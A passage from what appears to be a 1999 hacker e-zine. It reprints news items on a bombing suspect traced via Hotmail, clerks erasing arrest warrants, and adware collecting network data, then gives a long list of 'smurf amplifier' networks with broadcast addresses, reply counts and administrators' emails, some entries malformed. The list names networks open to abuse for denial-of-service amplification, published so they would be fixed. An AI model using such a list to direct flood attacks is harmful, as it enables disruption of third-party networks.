stores. Five people where hurt in the bombings, one of them seriously. (When will people learn, Hotmail is not anonymous.) The Charlotte Observer http://www.charlotte.com/click/wiretech/pub/lowes.htm Posted at 10:19 a.m. EST Monday, November 22, 1999 Alleged bomber was tracked through e-mail account GREENSBORO (AP) -- The suspect accused of planting bombs and extorting money from Lowe's Home Improvement stores was tracked to his Greensboro home by his use of an Internet e-mail account, according to an FBI affidavit. Investigators say George Rocha slipped up when he accessed an e-mail account he had created with a fictitious name with his home computer instead of using public computers at libraries, his normal practice. Federal agents arrested Rocha, 51, on Nov. 12 and charged him with bombing Lowe's stores in Asheboro and Salisbury and planting a third bomb at a Concord store. Five people were hurt, one of them seriously. The FBI's Computer Crime Unit in Charlotte, one of only eight in the country, followed a trail of e-mail messages that led to the Baltic country of Latvia, where a bank account was opened and received the $250,000 Lowe's paid to stop the bombings. Chris Swecker, FBI special agent in charge for North Carolina, said an FBI agent stationed in the nearby country of Estonia was in contact with the Paritate Bank in Riga, Latvia, "minutes after the money transfer." The agent determined that the signature on the account was listed as Bruce J. Phillips, a name the FBI soon found to be fictitious. The FBI saw an e-mail the bank received from "Bruce Phillips" on Nov. 1 that used the e-mail address "brucephillips99hotmail.com" Hotmail is a free Internet mail service used by many people, especially people who travel a lot, said Greensboro detective Mark Steed, whose job includes investigating computer crimes. Anyone can establish an account with Hotmail in minutes, using a fictitious name and other fictitious information, Steed said. "It's a legitimate service, yes, but it's also used by some people for purposes that are not legitimate," he said. Knowing the name "Bruce Phillips" and the corresponding e-mail address was a major break for the FBI. Working from Hotmail's records, agents discovered that the fictitious account had been used at a public computer at the Greensboro Public Library and computers in Forsyth County and BellSouth.net Inc. Greensboro Public Library director Sandy Neerman said FBI agents served her with a court order to produce files showing who had used the library's public computers during the dates corresponding to the e-mail transfers using the account. Library patrons have to sign up on a list to use the library computer. Tracking Rocha to those computers would have been difficult, Swecker acknowledged, but using his home computer to access the Hotmail account made the FBI's job easier. Caller identification at BellSouth identified a telephone number listed as belonging to George Rocha, 4246 Princeton Ave., Greensboro. AP-ES-11-22-99 0039EST @HWA 29.0 County Clerks Delete Arrest Warrants ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench Three county clerks, in Dade County Florida, face computer tampering charges for allegedly tapping into courthouse computers to erase arrest warrants. All three clerks where long time employees at the courthouse. Miami Sun-Sentinel http://www.sun-sentinel.com/news/daily/detail/0,1136,24500000000135545,00.html Police: Clerks erased arrest warrants from Miami-Dade courthouse computers Associated Press Web-posted: 8:20 a.m. Nov. 23, 1999 MIAMI -- Three county clerks face computer tampering charges for allegedly tapping into courthouse computers to erase arrest warrants. Miami-Dade Police public corruption detectives on Monday arrested Salome C. Rodriguez, Patricia Speights and Elsie Darbouze-Jones. "These were employees entrusted with access to the computer system," said Miami-Dade Police spokesman Juan DelCastillo. "This is simple. It isn't for money; it's for their own personal benefit." Police said Rodriguez, 32, an eight-year county employee, allegedly logged into the computer at her Coral Gables Courthouse workplace to delete a warrant for her arrest. Her legal troubles stemmed from a traffic ticket for no car insurance. Her license was suspended and a warrant was issued when she didn't pay the ticket. Rodriguez was charged with five counts of official misconduct because each time she missed a court appearance, she'd do it again, DelCastillo said. She is also accused of erasing an arrest warrant for a man who did not pay a ticket received for failure to yield. Police believe the man is her father. Speights, 41, and Darbouze-Jones, 27, are accused of doing the same thing at another courthouse. Supervisors told police Darbouze-Jones got Speights to erase a pending warrant against Darbouze-Jones' husband, who had five unpaid traffic tickets. Speights and Darbouze-Jones received 11 felony counts -- one for each time they tampered with a ticket. All three clerks were fired, but Speights got her job back -- with a demotion. Speights and Darbouze-Jones were still in jail Monday. @HWA 30.0 Trojan Advertising? ~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Nicole Advertising banners on web sites and within Freeware applications such as PKZip can gather information such as the applications running on a machine, user names, its IP address, and other network related information and send that information back to the creator of the software. The software is produced by US software firm Conducent to gather computer and network information by using a stealth application buried within the freeware program or banner ad. (If this isn't labeled as a Trojan then I lose all faith in the AV industry) ZD Net UK http://www.zdnet.co.uk/news/1999/46/ns-11692.html Conducent http://www.conducent.com/ ZDNET; Banner 'bug' sucks data through the Web Wed, 24 Nov 1999 11:38:33 GMT Will Knight Data about apps, IP address and the network are uncovered by banner 'bugs' Advertising banners produced by US software firm Conducent gather computer and network information by using a stealth application buried within the freeware program according to security newsletter, The Risk Digest. Bill Royds, contributor to the Digest, discovered that the advertising application provided by Conducent for freeWare Windows applications such as PKZIP collects details about a user's computer and sends it back to Conducent's headquarters when a computer is connected to the Internet. Royds says the information includes data on the applications running on a machine, as well as its IP address and information about the network it is connected to. As an example, Royds says PKZIP gathers network IP addresses as well as information on NetBIOS. He claims it can also gather user names. Royds points out that that this could potentially compromise security by revealing IP network status information. "This is very similar to the Trojan horses that worry people so much. If someone was able to intercept these transmissions they could determine internal network and personal information about a user. Many users would not install these programs if they realised the nature of how the advertising works." Royds did intercept that IP information and forwarded it to ZDNet UK News. Conducent says there is nothing to worry about. A spokeswoman for Conducent says computer users are always made aware of the personal information they are providing before installation and claims Conducent does little more than gather IP addresses. "All the Conducent freeware is duly noted as such when installation occurs. It is up to the user to take the time to read the installation notes wherein the advertising-supported version of the software is explained comprehensively." The speokeswoman criticises Royd's concerns as excessive. "Calling Conducent technology a Trojan, or a virus, assumes we're sending files -- or extracting information -- without the user's permission. We are not forcing free, ad-supported software on users. They are choosing to download it of their own volition, and as they so, information about their selection is contained in the installation notes." According to Robin Bynoe of Charles Russell solicitors, gathering IP addresses as well as user names may well contravene European data protection regulations as Royd notes. However Conducent distributes software via the Internet and has no offices in the UK meaning that if a British customer had a complaint there would be little chance recourse. Says Bynoe, "If they are located in the US and are holding information in the US this comes outside the scope of UK law. If they are simply collecting a bank of IP adresses, this may not be a breach of the data protection act." @HWA 31.0 English ISP Mistakenly Gives Out Free Access ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Previously reported as a BT freephone gimmick by the ISP it turns out to be an error and free access was not the intention for any reason (whups) - Ed From HNN http://www.hackernews.com/ contributed by no0ne A security breach gave an unknown number of users access to the net via City Connection's free fone number. City Connection's, a fairly new ISP in England, 0800 number was published on several newsgroups and has finally been shut down. The identity of the person who leaked the number is still unknown. The UK Register http://www.theregister.co.uk/991124-000010.html Posted 24/11/99 2:52pm by Tim Richardson Net user leap on leaked ISP freefone number An undisclosed number of Net users managed to gain unauthorised freephone access to the Net last night following the leak of confidential information yesterday. Although not the most auspicious start to a new venture, Tom Defty, MD of new kid on the block ISP City Connections, said that last night's assault only cost the company just £254. The 0800 number -- published on a variety of newsgroups yesterday -- has now been shut down, he said, and he denied that the whole episode was a stunt to seek publicity for the service. In a statement Defty said: "I am deeply disappointed by this breach of security... but I can assure you that the service will still be launching on 1 December." At this stage there's still some confusion surrounding the identity of the person who originally leaked the 0800 freephone number. Defty said that BT Security told him it originated from someone with a "BT Corporate account". But a spokesman for BT disputed this. He said he was unaware that the matter had even been reported and after investigating the matter said that the person who leaked the material was from outside the company. That aside, Defty has released information on the new ISP and what it will offer. It seems London-based Easynet will provide the backbone to the service and instead of using 0845 or 0800 numbers to access City Connections, the ISP will employ 150 '01' numbers across the country instead. Using phone companies such as NTL, Telewest, C&W, Transnet and Euphony, Defty claims this will allow users to be eligible for 'free-call access' during off-peak periods. "The service will cost £11.75 per month," said Defty. "But if you have a banner (optional) at the bottom of your screen you will receive £10 back per month," he said. The ISP has also embarked on a multi-million TV and radio advertising campaign to advertise the service, Defty said. ® @HWA 32.0 SAR Top Ten Smurf Amplifiers for Nov 27th'99 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This used to be a regular feature sorry i've been lagging behind in my duties i've rooted my box and slapped my wrists already tnx - Ed Current top ten smurf amplifiers (updated every 5 minutes) (last update: 1999-11-28 00:26:05 CET) Network #Dups #Incidents Registered at Home AS 212.117.160.0/24 373 0 1999-10-27 22:28 not-analyzed 195.115.119.64/26 327 0 1999-11-19 20:08 not-analyzed 209.233.219.0/24 90 0 1999-06-04 17:56 AS5673 194.70.7.0/24 84 0 1999-11-09 11:22 not-analyzed 132.230.75.0/24 83 0 1999-11-01 00:49 not-analyzed 192.0.0.0/2 73 0 1999-01-04 06:39 not-analyzed 128.0.0.0/1 73 0 1999-01-28 02:36 not-analyzed 195.210.91.0/24 72 0 1999-01-20 00:44 AS1267 128.0.0.0/33 71 0 1998-09-25 18:18 not-analyzed 128.0.0.0/225 71 0 1999-02-10 22:16 not-analyzed 114951 networks have been probed with the SAR 20049 of them are currently broken 14173 have been fixed after being listed here Netscan.org Top 2048 worst amplifier offenders. Note that it's also possible to see the # of replies for any network. Head to the main page and punch in an IP. Last rescan: Fri Oct 22 14:33:26 PDT 1999 RESP ADDR EMAIL ADDRESSES --------------------------------------------------------------------- 2697 207.22.212.255 ipadmin@iamerica.net 448 204.243.120.255 hostinfo@psi.com 261 199.225.7.0 lind@forum.saic.com 250 199.1.223.255 quentin@qns.com 247 207.43.61.255 pflores@wcg.net 242 207.142.180.255 root@unix.triton.net 240 167.192.222.255 jda51@state.ga.us 155 207.204.52.0 rwarren@netusa.net 148 209.84.85.255 ipadmin@gte.net 132 205.169.216.0 postmaster@garfield.k12.co.us 125 199.250.180.255 dnstech@eni.net 123 209.115.108.255 tstroup@fnsi.net 122 207.202.127.255 noc@corp.idt.net 122 207.235.88.255 rickyc@world-net.net 122 209.246.218.255 ipadmin@level3.net 120 195.184.38.255 hein@euroconnect.net 117 205.169.211.0 postmaster@garfield.k12.co.us 114 199.251.102.255 lind@forum.saic.com 112 205.154.156.255 nes@4c.net 107 205.221.196.255 hikep@urbandale.k12.ia.us 106 205.221.196.0 hikep@urbandale.k12.ia.us 105 207.177.41.0 noc@netins.net 105 207.177.41.255 noc@netins.net 104 207.127.47.255 gorlo@enet.com 102 205.221.198.0 hikep@urbandale.k12.ia.us 102 205.221.198.255 hikep@urbandale.k12.ia.us 102 205.221.199.0 hikep@urbandale.k12.ia.us 101 205.221.199.255 hikep@urbandale.k12.ia.us 100 207.127.47.0 gorlo@enet.com 98 208.0.211.255 NOC@sprint.net 97 205.154.156.0 nes@4c.net 92 216.14.26.255 john@telepath.com 90 209.37.134.255 breig@buffnews.com 86 209.20.39.255 netadmin@interlog.net 82 209.140.163.0 darin@good.net 80 200.29.38.0 aaraya@novared.cl 79 200.29.38.255 aaraya@novared.cl 74 209.140.163.255 darin@good.net 72 209.37.134.0 breig@buffnews.com 71 193.48.166.0 Michel.Leduc@univ-lehavre.fr, Serge.Huberson@univ-lehavre.fr 71 205.169.214.0 postmaster@garfield.k12.co.us 70 207.165.185.0 dave.klinkefus@icn.state.ia.us 68 207.28.48.255 dave.klinkefus@icn.state.ia.us 68 207.28.48.0 dave.klinkefus@icn.state.ia.us 64 207.230.219.255 network@centurytel.com 62 209.212.162.255 hostmaster@rhythms.net 61 209.152.182.255 domain@slip.net 60 209.106.20.0 ben@more.net 59 167.199.95.0 jda51@state.ga.us 58 216.20.92.0 jcoco@mec.edu 57 204.48.169.0 tuma@ceo.sbceo.k12.ca.us 57 205.253.196.255 karl@mcs.com 57 209.73.88.255 hostmaster@digilink.net 57 209.17.207.255 dns@america.net 56 193.48.166.255 Michel.Leduc@univ-lehavre.fr, Serge.Huberson@univ-lehavre.fr 56 204.48.142.0 tuma@ceo.sbceo.k12.ca.us 56 209.56.232.0 tdao@aea11.k12.ia.us 56 209.56.232.255 tdao@aea11.k12.ia.us 56 208.129.177.255 nomailbox@nowhere 56 207.194.160.255 domains@bctel.net 54 216.102.167.0 ip-admin@pbi.net 54 207.225.159.255 dns-info@uswest.net 53 198.233.12.0 Don@arapahoe.edu 53 207.213.205.255 andy@ssw1.com 53 207.224.249.0 dlongar@uswest.net 53 207.165.185.255 dave.klinkefus@icn.state.ia.us 53 207.28.60.0 dave.klinkefus@icn.state.ia.us 52 204.48.223.0 tuma@ceo.sbceo.k12.ca.us 52 206.150.74.255 walker@scsn.net 52 207.177.95.0 noc@netins.net 52 207.177.95.255 noc@netins.net 52 209.167.171.255 chris@tntech.com 52 207.28.60.255 dave.klinkefus@icn.state.ia.us 52 210.68.152.255 52 208.202.118.255 jokage@gate.net 51 199.103.248.0 dnsmaster@terra.net 50 199.251.102.0 lind@forum.saic.com 50 208.223.170.255 kambach@brearley.org 50 216.102.245.0 49 209.63.26.255 bradw@tlg.com 48 216.20.20.255 jcoco@mec.edu 48 209.73.236.255 hostmaster@pfmc.net 48 216.101.206.0 ip-admin@pbi.net 47 202.98.5.255 dmkou@publicf.bta.net.cn, yzxu@publicf.bta.net.cn 47 207.152.126.0 Postmaster@popmail.jba.com 47 207.152.126.255 Postmaster@popmail.jba.com 47 209.56.235.0 tdao@aea11.k12.ia.us 46 202.232.119.0 hostmaster@nic.ad.jp 46 202.232.119.255 hostmaster@nic.ad.jp 46 209.21.155.255 hostmaster@harvard.net 46 216.20.20.0 jcoco@mec.edu 46 207.60.165.255 hostmaster@tiac.net 46 206.66.243.0 daniel@webdimensions.com 46 206.66.243.255 daniel@webdimensions.com 46 208.245.231.0 help@uunet.uu.net 45 204.158.26.0 D.Nash@utexas.edu 45 204.158.26.255 D.Nash@utexas.edu 45 209.56.78.0 tdao@aea11.k12.ia.us 44 193.14.29.0 44 198.233.12.255 Don@arapahoe.edu 44 198.64.21.0 hostmaster@sesqui.net 44 198.64.21.255 hostmaster@sesqui.net 44 198.64.22.0 hostmaster@sesqui.net 44 198.64.22.255 hostmaster@sesqui.net 44 208.192.109.255 u09477@serinocoyne.com 43 192.160.217.255 greenup@whittier.edu 43 205.118.50.0 mcleary@uen.org 43 205.118.50.255 mcleary@uen.org 43 207.165.137.0 dave.klinkefus@icn.state.ia.us 43 207.91.84.0 charlie_daneri@jeffersongroup.com 43 207.109.43.0 dns-info@uswest.net 43 207.63.253.0 twilliams@lth6.k12.il.us 43 207.63.254.0 twilliams@lth6.k12.il.us 43 207.63.253.255 twilliams@lth6.k12.il.us 43 207.63.254.255 twilliams@lth6.k12.il.us 42 209.3.130.0 wkrug@atlnet.org 42 209.76.77.0 emorton@shastalink.k12.ca.us 42 209.76.77.255 emorton@shastalink.k12.ca.us 42 209.249.2.0 noc@above.net 42 209.249.2.255 noc@above.net 42 209.55.73.0 jimp@brandx.net 41 198.60.134.0 hall@sandbox.net 41 198.60.134.255 hall@sandbox.net 41 206.0.199.0 hostinfo@psi.com 41 207.213.205.0 andy@ssw1.com 40 192.160.217.0 greenup@whittier.edu 40 192.204.76.255 40 203.95.7.255 zao@stn.sh.cn, sqian@fudan.edu.cn 40 205.143.124.255 rtesta@gia.org 40 207.90.230.255 dnsmaster@infohwy.com 40 207.90.230.0 dnsmaster@infohwy.com 40 207.240.141.255 hostmaster@inch.com 40 207.240.141.0 hostmaster@inch.com 40 209.56.235.255 tdao@aea11.k12.ia.us 39 199.208.243.0 APONTEJ@navstarr.navy.mil 39 199.208.243.255 APONTEJ@navstarr.navy.mil 39 199.73.39.255 hostmaster@clark.net 39 203.139.106.255 hostmaster@nic.ad.jp 39 205.66.98.0 STEVE.GREUNKE@ncts.navy.mil 39 206.136.58.0 mpc@mbsmm.com 39 207.1.177.0 dspeed@midusa.net 39 210.74.232.0 std-gm@online.sh.cn, std-gm@online.sh.cn 39 208.136.70.0 steven_dudley@brunswick.pvt.k12.ct.us 39 208.136.70.255 steven_dudley@brunswick.pvt.k12.ct.us 38 198.233.47.255 danahay@ghs.gunnison.k12.co.us 38 199.208.84.0 38 204.69.110.0 wong@accesscom.net 38 205.169.212.0 postmaster@garfield.k12.co.us 38 207.100.46.255 hostmaster@icix.net 38 216.111.166.0 noc@qwest.net 38 207.196.81.0 hostmaster@clark.net 38 206.77.203.0 D.Nash@utexas.edu 38 206.77.203.255 D.Nash@utexas.edu 38 209.184.150.0 hostmaster@swbell.net 38 207.15.44.0 nomailbox@nowhere 38 207.15.44.255 nomailbox@nowhere 37 164.47.171.255 Mark.Montanez@pcc.cccoes.edu 37 204.181.85.255 jbuchle@staktek.com 37 204.186.98.255 dns-request@ptd.net 37 205.66.98.255 STEVE.GREUNKE@ncts.navy.mil 37 206.0.199.255 hostinfo@psi.com 37 209.63.86.255 kmiller@mhz.com 37 209.7.135.255 wdahlen@mail.isbe.state.il.us 37 209.113.149.0 dhoyt@hoyt.com 37 208.168.82.255 johnf@banet.net 37 208.130.41.0 steven_dudley@brunswick.pvt.k12.ct.us 37 209.152.31.0 hortonh@ednet10.net 37 209.76.78.0 emorton@shastalink.k12.ca.us 37 209.76.78.255 emorton@shastalink.k12.ca.us 36 24.7.20.255 noc@noc.home.net 36 194.57.84.0 Patrice.Koch@univ-fcomte.fr 36 202.184.229.0 36 202.247.6.0 hostmaster@nic.ad.jp 36 204.170.91.0 ens@home.nrhm.cc.pa.us 36 204.170.91.255 ens@home.nrhm.cc.pa.us 36 205.221.147.0 grpjl@iastate.edu 36 205.221.147.255 grpjl@iastate.edu 36 206.13.101.0 nomailbox@nowhere 36 206.13.101.255 nomailbox@nowhere 36 206.13.99.0 gowen@keyinfo.com 36 206.158.44.255 Allen@afmiller.com 36 210.17.1.0 dengwei@access.ttn.com.tw 36 216.111.167.255 noc@qwest.net 36 208.133.75.0 noc@megsinet.net 36 208.133.76.0 noc@megsinet.net 36 208.133.87.0 noc@megsinet.net 36 208.133.75.255 noc@megsinet.net 36 208.133.76.255 noc@megsinet.net 36 208.207.33.0 noc@bigplanet.net 36 209.80.138.0 tom_plati@wellesley.mec.edu 36 208.157.126.0 rodneyl@ctlnet.com 36 216.103.13.0 ip-admin@pbi.net 36 209.76.22.0 kenny@twnetwork.com 36 207.104.102.0 support@access1.net 36 207.104.103.0 support@access1.net 36 207.104.109.0 nomailbox@nowhere 36 216.100.214.0 sysadmin@access1.net 36 209.76.22.255 kenny@twnetwork.com 36 207.104.102.255 support@access1.net 36 207.104.103.255 support@access1.net 36 207.104.109.255 nomailbox@nowhere 36 216.100.214.255 sysadmin@access1.net 36 209.7.135.0 wdahlen@mail.isbe.state.il.us 36 216.88.175.255 scotts@blairlake.com 36 210.74.232.255 std-gm@online.sh.cn, std-gm@online.sh.cn 36 208.236.180.0 martyr@acr.org 36 209.184.150.255 hostmaster@swbell.net 36 216.94.12.0 kasper@telehub.com 36 209.47.203.0 registrar@uunet.ca 35 195.90.31.255 guardian@isb.net, nerge@isb.net 35 198.233.47.0 danahay@ghs.gunnison.k12.co.us 35 202.102.32.0 dmkou@publicf.bta.net.cn, pearl.m@public1.ptt.js.cn 35 202.102.32.255 dmkou@publicf.bta.net.cn, pearl.m@public1.ptt.js.cn 35 207.10.165.0 rcm@mmc.marymt.edu 35 216.88.175.0 scotts@blairlake.com 35 207.10.165.255 rcm@mmc.marymt.edu 35 207.136.233.0 topher@madriver.com 35 209.232.131.0 ip-admin@pbi.net 35 209.232.131.255 ip-admin@pbi.net 35 209.47.228.0 chris@tntech.com 35 208.224.40.255 dsoria@leaco.net 35 207.125.25.0 ip-mgr@mail.state.tn.us 35 209.113.148.0 dhoyt@hoyt.com 35 208.9.33.0 nomailbox@nowhere 35 208.9.41.0 nomailbox@nowhere 35 208.9.33.255 nomailbox@nowhere 35 208.9.43.255 nomailbox@nowhere 34 164.47.171.0 Mark.Montanez@pcc.cccoes.edu 34 202.219.144.0 technical@apnic.net 34 203.26.109.255 hostmaster@telstra.net 34 204.60.81.0 cmiller@snet.net 34 205.178.75.0 dave@brainstorm.net 34 205.213.150.255 nic@mail.wiscnet.net 34 206.166.215.0 mwilliam@ptc.dcs.edu 34 207.177.77.255 noc@netins.net 34 206.205.105.0 noc@digex.net 34 207.163.162.0 hostmaster@alameda-coe.k12.ca.us 34 209.3.130.255 wkrug@atlnet.org 34 210.145.18.255 hostmaster@nic.ad.jp 34 206.99.18.0 dsmith@ns.uoregon.edu 34 206.99.18.255 dsmith@ns.uoregon.edu 34 209.141.228.0 admin@trilobyte.net 34 209.141.229.0 admin@trilobyte.net 34 208.9.43.0 nomailbox@nowhere 34 208.9.41.255 nomailbox@nowhere 33 161.223.163.0 33 195.90.31.0 guardian@isb.net, nerge@isb.net 33 199.72.94.0 hostmaster@interpath.net 33 199.72.95.0 hostmaster@interpath.net 33 199.72.95.255 hostmaster@interpath.net 33 199.72.96.0 hostmaster@interpath.net 33 199.72.96.255 hostmaster@interpath.net 33 199.98.170.255 hostinfo@psi.com 33 204.178.107.255 danny@akamai.com 33 204.178.110.0 danny@akamai.com 33 205.216.169.0 sei@vidpbx.com 33 205.216.169.255 sei@vidpbx.com 33 207.223.132.255 Louis_Lee@icgcomm.com 33 207.223.132.0 Louis_Lee@icgcomm.com 33 207.177.7.0 noc@netins.net 33 207.177.77.0 noc@netins.net 33 207.165.137.255 dave.klinkefus@icn.state.ia.us 33 208.168.246.255 kenwhit@remc8.k12.mi.us 33 208.227.145.0 spell@wilmington.net 33 208.227.144.255 spell@wilmington.net 33 210.141.237.0 hostmaster@nic.ad.jp 33 209.187.17.0 dns@cerf.net 33 209.63.86.0 kmiller@mhz.com 33 209.56.78.255 tdao@aea11.k12.ia.us 33 207.28.180.0 dave.klinkefus@icn.state.ia.us 32 161.223.42.255 32 192.174.57.0 32 192.174.57.255 32 192.211.32.255 sawise@mindspring.com, wise@widedata.com 32 195.13.14.0 jmvl@belbone.net, igor@sportmans.com, igor@medelec.uia.ac.be 32 199.105.221.0 dns@cerf.net 32 202.102.13.255 dmkou@publicf.bta.net.cn, pearl.m@public1.ptt.js.cn 32 202.99.41.0 32 204.158.119.0 gjenere@tenet.edu 32 204.158.119.255 gjenere@tenet.edu 32 205.213.150.0 nic@mail.wiscnet.net 32 206.166.208.0 mwilliam@ptc.dcs.edu 32 206.170.111.255 dnsadmin@pbi.net 32 207.177.7.255 noc@netins.net 32 207.163.162.255 hostmaster@alameda-coe.k12.ca.us 32 210.161.135.0 hostmaster@nic.ad.jp 32 207.109.111.0 dns-info@uswest.net 32 207.196.81.255 hostmaster@clark.net 32 207.109.111.255 dns-info@uswest.net 32 207.109.43.255 dns-info@uswest.net 32 209.132.109.0 garyq@wpds.com 32 209.132.109.255 garyq@wpds.com 32 207.250.88.0 hostmaster@inc.net 32 206.222.96.0 diane.rowe@espire.net 32 212.32.168.0 info@norrnod.se, hakan@bostaden.umea.se 32 207.250.88.255 hostmaster@inc.net 32 212.32.168.255 info@norrnod.se, hakan@bostaden.umea.se 32 209.47.228.255 chris@tntech.com 32 212.32.167.0 info@norrnod.se, hakan@bostaden.umea.se 32 208.215.55.0 bo@quicklink.com 32 208.154.220.0 jon@thoughtbubble.com 32 208.154.220.255 jon@thoughtbubble.com 32 207.109.112.255 dns-info@uswest.net 32 207.109.112.0 dns-info@uswest.net 32 207.215.109.255 ichuang@netvip.com 32 208.130.41.255 steven_dudley@brunswick.pvt.k12.ct.us 32 216.51.58.0 technical@kivex.com 32 212.32.164.255 info@norrnod.se, hakan@bostaden.umea.se 31 161.223.163.255 31 161.223.42.0 31 169.139.30.0 hostmaster@mail.firn.edu 31 193.13.234.0 31 198.233.14.0 Don@arapahoe.edu 31 199.111.105.0 jaj@virginia.edu 31 203.2.75.255 mark@cristal.syd.pronet.com 31 204.32.80.0 bille@petersons.com 31 205.169.44.0 wgrendle@csn.net 31 205.187.39.255 Louis_Lee@icgcomm.com 31 205.221.104.0 grpjl@iastate.edu 31 205.221.104.255 grpjl@iastate.edu 31 205.231.58.255 help@uunet.uu.net 31 205.232.18.0 denz@ria.org 31 205.232.18.255 denz@ria.org 31 205.245.2.255 dns-admin@utelfla.com 31 206.166.215.255 mwilliam@ptc.dcs.edu 31 207.214.142.255 kgibbs@porterville.k12.ca.us 31 207.91.84.255 charlie_daneri@jeffersongroup.com 31 210.161.135.255 hostmaster@nic.ad.jp 31 209.47.235.0 pamela@ebean.com 31 209.47.235.255 pamela@ebean.com 31 209.132.105.0 garyq@wpds.com 31 209.233.200.0 ip-admin@pbi.net 31 209.233.200.255 ip-admin@pbi.net 31 209.232.140.0 ip-admin@pbi.net 31 209.232.140.255 ip-admin@pbi.net 31 209.152.31.255 hortonh@ednet10.net 31 212.32.164.0 info@norrnod.se, hakan@bostaden.umea.se 31 212.32.165.0 info@norrnod.se, hakan@bostaden.umea.se 31 212.32.165.255 info@norrnod.se, hakan@bostaden.umea.se 30 63.64.107.0 jshelnutt@ispalliance.net 30 63.64.107.255 jshelnutt@ispalliance.net 30 169.139.30.255 hostmaster@mail.firn.edu 30 192.204.76.0 30 193.13.234.255 30 195.232.126.0 hostmaster@wcom.net 30 199.111.105.255 jaj@virginia.edu 30 202.238.79.0 hostmaster@nic.ad.jp 30 202.238.79.255 hostmaster@nic.ad.jp 30 203.36.239.0 hostmaster@telstra.net 30 204.184.38.255 ben@more.net 30 204.243.42.0 hostinfo@psi.com 30 204.26.36.0 30 205.245.2.0 dns-admin@utelfla.com 30 207.17.200.0 avnet@radicalmedia.com 30 208.234.147.0 nomailbox@nowhere 30 209.48.15.0 dns@digex.net 30 208.10.133.0 nomailbox@nowhere 30 216.100.227.255 ip-admin@pbi.net 30 208.150.32.0 noc@megsinet.net 30 212.32.167.255 info@norrnod.se, hakan@bostaden.umea.se 30 208.20.180.0 aweisblatt@diefenbachelkins.com 30 209.113.148.255 dhoyt@hoyt.com 30 209.113.149.255 dhoyt@hoyt.com 30 209.85.22.0 hostmaster@softaware.com 30 212.32.166.255 info@norrnod.se, hakan@bostaden.umea.se 30 209.106.20.255 ben@more.net 30 209.215.112.0 ipadmin@bellsouth.net 29 193.140.136.0 root@risc01.bim.gantep.edu.tr 29 193.140.196.0 ozturanm@boun.edu.tr, baysalc@boun.edu.tr 29 193.140.196.255 ozturanm@boun.edu.tr, baysalc@boun.edu.tr 29 198.64.44.0 hostmaster@sesqui.net 29 198.76.85.0 dmcginni@ndu.edu 29 198.76.85.255 dmcginni@ndu.edu 29 199.72.140.255 hostmaster@interpath.net 29 202.102.138.255 dmkou@publicf.bta.net.cn, zxf@pub.sd.cninfo.net 29 202.104.151.0 29 202.96.155.0 29 205.160.84.0 NOC@sprint.net 29 205.160.84.255 NOC@sprint.net 29 205.227.63.255 lgoodman@iacnet.com 29 206.166.208.255 mwilliam@ptc.dcs.edu 29 208.218.96.0 mitch@gvtc.com 29 208.218.97.0 mitch@gvtc.com 29 208.218.96.255 mitch@gvtc.com 29 209.140.19.0 darin@good.net 29 209.133.61.255 noc@above.net 29 216.111.115.0 DLAURA@icsa.com 29 207.13.60.0 dnsadmin@sig.net 29 208.237.105.0 rwilhe@luk-us.com 29 209.7.177.0 wdahlen@mail.isbe.state.il.us 29 208.235.248.0 pokeefe@checkfree.com 29 209.7.177.255 wdahlen@mail.isbe.state.il.us 29 208.235.248.255 pokeefe@checkfree.com 29 208.200.99.0 lolszewski@spyglass.com 29 208.200.99.255 lolszewski@spyglass.com 29 207.96.117.0 domreg@erols.com 29 207.96.117.255 domreg@erols.com 29 207.100.21.0 hostmaster@icix.net 29 209.140.26.0 david@discom.net 29 206.72.158.0 david@discom.net 29 207.100.21.255 hostmaster@icix.net 29 207.177.74.255 noc@netins.net 29 206.72.158.255 29 207.177.74.0 noc@netins.net 29 209.39.117.0 netadmin@onramp.net 29 216.146.128.255 mike@bwn.net 29 212.109.0.0 fredrik.graff@powernet.se, rune.gunnarsson@powernet.se, martin.andell@powernet.se 29 209.79.64.0 nomailbox@nowhere 29 209.79.64.255 nomailbox@nowhere 29 212.32.166.0 info@norrnod.se, hakan@bostaden.umea.se 28 192.160.219.255 greenup@whittier.edu 28 193.45.251.0 Bertil.Hanses@trema.com 28 193.48.165.0 Michel.Leduc@univ-lehavre.fr, Serge.Huberson@univ-lehavre.fr 28 193.51.48.0 meunier@ensam.decnet.citilille.fr, mmeunier@mediartis.fr 28 193.51.48.255 meunier@ensam.decnet.citilille.fr, mmeunier@mediartis.fr 28 193.51.50.255 28 193.52.147.255 Gerard.Lietout@univ-rouen.fr 28 193.74.176.0 mdevos@argo.be, Francois.Wouters@gemeenschapsonderwijs.be 28 193.74.176.255 mdevos@argo.be, Francois.Wouters@gemeenschapsonderwijs.be 28 194.151.209.255 said@interclimax.com 28 198.233.14.255 Don@arapahoe.edu 28 200.23.40.0 jescalera@mail.nl.gob.mx 28 202.102.30.0 dmkou@publicf.bta.net.cn, pearl.m@public1.ptt.js.cn 28 204.186.98.0 dns-request@ptd.net 28 204.248.144.0 NOC@sprint.net 28 204.248.144.255 NOC@sprint.net 28 204.26.36.255 28 204.33.167.0 dpp@athena.com 28 204.6.136.0 hostinfo@psi.com 28 205.232.52.255 rcm@mmc.marymt.edu 28 206.140.86.255 lak@aads.net 28 209.140.19.255 darin@good.net 28 216.50.134.0 technical@kivex.com 28 216.111.115.255 DLAURA@icsa.com 28 208.157.56.0 alif@unibaseinc.com 28 216.115.160.0 alif@unibaseinc.com 28 208.157.59.255 alif@unibaseinc.com 28 216.115.160.255 alif@unibaseinc.com 28 208.139.68.0 bharvey@atmi.com 28 208.139.68.255 bharvey@atmi.com 28 208.198.61.255 noc@atlantech.net 28 207.155.93.255 hostmaster@softaware.com 28 209.39.24.255 netadmin@onramp.net 28 207.115.54.0 harrycw@prodigy.net 28 207.115.54.255 harrycw@prodigy.net 28 209.226.149.0 noc@in.bell.ca 28 208.147.191.0 cdc@groupz.net 28 208.147.191.255 cdc@groupz.net 28 208.150.32.255 noc@megsinet.net 28 210.227.226.0 hostmaster@nic.ad.jp 28 209.226.149.255 noc@in.bell.ca 28 208.13.18.255 nomailbox@nowhere 28 208.248.220.255 bill@columbiasussex.com 28 209.167.44.0 endicottg@mlgltd.com 28 207.225.84.0 dlongar@uswest.net 28 208.232.127.0 nomailbox@nowhere 28 